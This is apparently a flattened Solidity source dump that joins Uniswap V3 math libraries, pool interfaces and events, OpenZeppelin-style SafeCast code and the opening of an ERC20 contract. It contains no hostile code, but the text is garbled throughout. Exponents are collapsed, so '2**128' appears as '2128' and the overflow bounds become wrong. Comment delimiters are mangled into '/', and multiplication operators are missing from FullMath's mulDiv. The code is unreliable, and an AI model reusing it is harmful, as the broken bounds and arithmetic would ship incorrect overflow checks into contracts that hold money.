(sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. / library SafeCastExtended { /* * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits / function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2128, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /* * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits / function toUint64(uint256 value) internal pure returns (uint64) { require(value < 264, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /* * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits / function toUint32(uint256 value) internal pure returns (uint32) { require(value < 232, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /* * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits / function toUint16(uint256 value) internal pure returns (uint16) { require(value < 216, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /* * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. / function toUint8(uint256 value) internal pure returns (uint8) { require(value < 28, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /* * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. / function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /* * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ / function toInt128(int256 value) internal pure returns (int128) { require( value >= -2127 && value < 2127, "SafeCast: value doesn't fit in 128 bits" ); return int128(value); } /* * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ / function toInt64(int256 value) internal pure returns (int64) { require( value >= -263 && value < 263, "SafeCast: value doesn't fit in 64 bits" ); return int64(value); } /* * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ / function toInt32(int256 value) internal pure returns (int32) { require( value >= -231 && value < 231, "SafeCast: value doesn't fit in 32 bits" ); return int32(value); } /* * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ / function toInt16(int256 value) internal pure returns (int16) { require( value >= -215 && value < 215, "SafeCast: value doesn't fit in 16 bits" ); return int16(value); } /* * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ / function toInt8(int256 value) internal pure returns (int8) { require( value >= -27 && value < 27, "SafeCast: value doesn't fit in 8 bits" ); return int8(value); } /* * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. / function toInt256(uint256 value) internal pure returns (int256) { require(value < 2255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a b // Compute the product mod 2256 and mod 2256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2*256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 \|= prod1 twos; // Invert denominator mod 2256 // Now that denominator is an odd number, it has an inverse // modulo 2256 such that denominator * inv = 1 mod 2*256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator inv = 1 mod 2*4 uint256 inv = (3 denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv = 2 - denominator inv; // inverse mod 2*8 inv = 2 - denominator * inv; // inverse mod 2*16 inv = 2 - denominator * inv; // inverse mod 2*32 inv = 2 - denominator * inv; // inverse mod 2*64 inv = 2 - denominator * inv; // inverse mod 2*128 inv = 2 - denominator * inv; // inverse mod 2256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2256. Since the precoditions guarantee // that the outcome is less than 2*256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.0; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 \|\| (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Safe casting methods /// @notice Contains methods for safely casting between types library SafeCast { /// @notice Cast a uint256 to a uint160, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint160 function toUint160(uint256 y) internal pure returns (uint160 z) { require((z = uint160(y)) == y); } /// @notice Cast a int256 to a int128, revert on overflow or underflow /// @param y The int256 to be downcasted /// @return z The downcasted integer, now type int128 function toInt128(int256 y) internal pure returns (int128 z) { require((z = int128(y)) == y); } /// @notice Cast a uint256 to a int256, revert on overflow /// @param y The uint256 to be casted /// @return z The casted integer, now type int256 function toInt256(uint256 y) internal pure returns (int256 z) { require(y < 2255); z = int256(y); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math functions that do not check inputs or outputs /// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks library UnsafeMath { /// @notice Returns ceil(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, ceil(x / y) function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := add(div(x, y), gt(mod(x, y), 0)) } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; / * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different 